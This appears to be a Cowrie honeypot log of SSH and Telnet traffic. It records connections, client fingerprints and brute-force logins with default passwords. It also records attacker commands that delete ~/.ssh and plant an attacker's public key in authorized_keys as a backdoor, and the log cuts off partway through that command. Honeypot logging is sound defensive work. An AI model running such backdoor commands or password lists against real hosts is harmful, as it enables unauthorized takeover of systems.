{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:20.234420Z","src_ip":"194.59.206.2","session":"c4882315e824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:21.025208Z","src_ip":"159.203.92.129","session":"8024918b137e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":56352,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f575ad331f","protocol":"telnet","message":"New connection: 104.215.102.116:56352 (10.17.0.5:23) [session: 85f575ad331f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:32.248577Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"1021333bf4c3","protocol":"ssh","message":"New connection: 122.168.114.167:59088 (159.203.135.109:22) [session: 1021333bf4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:37.558509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:41.277861Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:41.281593Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.41.210.156","src_port":55727,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8de778b5f13","protocol":"telnet","message":"New connection: 196.41.210.156:55727 (10.17.0.5:23) [session: e8de778b5f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:44.644585Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":44366,"dst_ip":"10.17.0.5","dst_port":22,"session":"eac72c8550bc","protocol":"ssh","message":"New connection: 186.80.18.158:44366 (10.17.0.5:22) [session: eac72c8550bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:55.842125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:55.847121Z","src_ip":"186.80.18.158","session":"eac72c8550bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:55.851459Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:55.923476Z","src_ip":"186.80.18.158","session":"eac72c8550bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678910","message":"login attempt [admin/12345678910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:56.264707Z","src_ip":"186.80.18.158","session":"eac72c8550bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:13:57.342451Z","src_ip":"186.80.18.158","session":"eac72c8550bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.792316198349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:03.040737Z","src_ip":"104.215.102.116","session":"85f575ad331f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:04.585042Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:04.589124Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59918,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e275d92441","protocol":"ssh","message":"New connection: 159.203.92.129:59918 (159.203.135.109:22) [session: c3e275d92441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:05.770588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:05.775745Z","src_ip":"159.203.92.129","session":"c3e275d92441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:05.780751Z","src_ip":"159.203.92.129","session":"c3e275d92441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arpit","password":"arpit","message":"login attempt [arpit/arpit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:05.794171Z","src_ip":"159.203.92.129","session":"c3e275d92441","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:06.303869Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.7","message":"Connection lost after 28.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:06.310576Z","src_ip":"122.168.114.167","session":"1021333bf4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:06.800923Z","src_ip":"159.203.92.129","session":"c3e275d92441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":32614,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1aeb39599e","protocol":"ssh","message":"New connection: 159.223.45.177:32614 (159.203.135.109:22) [session: aa1aeb39599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:15.622464Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:18.374420Z","src_ip":"159.223.45.177","session":"aa1aeb39599e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.215.102.116","src_port":58426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0661c54881","protocol":"telnet","message":"New connection: 104.215.102.116:58426 (10.17.0.5:23) [session: 8e0661c54881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:19.808830Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33272,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc15a962f4aa","protocol":"ssh","message":"New connection: 122.168.114.167:33272 (159.203.135.109:22) [session: dc15a962f4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:43.598043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:43.701599Z","src_ip":"122.168.114.167","session":"dc15a962f4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:43.950647Z","src_ip":"122.168.114.167","session":"dc15a962f4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:45.282510Z","src_ip":"122.168.114.167","session":"dc15a962f4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:47.090063Z","src_ip":"122.168.114.167","session":"dc15a962f4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.22410821914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:50.032794Z","src_ip":"104.215.102.116","session":"8e0661c54881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51976,"dst_ip":"159.203.135.109","dst_port":22,"session":"022610d8d8e1","protocol":"ssh","message":"New connection: 159.203.92.129:51976 (159.203.135.109:22) [session: 022610d8d8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:51.837523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:51.841738Z","src_ip":"159.203.92.129","session":"022610d8d8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:51.846063Z","src_ip":"159.203.92.129","session":"022610d8d8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"artem","password":"artem","message":"login attempt [artem/artem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:51.858351Z","src_ip":"159.203.92.129","session":"022610d8d8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":54834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa5bf66450d","protocol":"ssh","message":"New connection: 186.80.18.158:54834 (10.17.0.5:22) [session: 0fa5bf66450d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.111852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.117394Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.189594Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@321","message":"login attempt [admin/admin@321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.475605Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.665102Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.669568Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.673601Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.749845Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.865178Z","src_ip":"159.203.92.129","session":"022610d8d8e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:14:52.921962Z","src_ip":"186.80.18.158","session":"0fa5bf66450d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 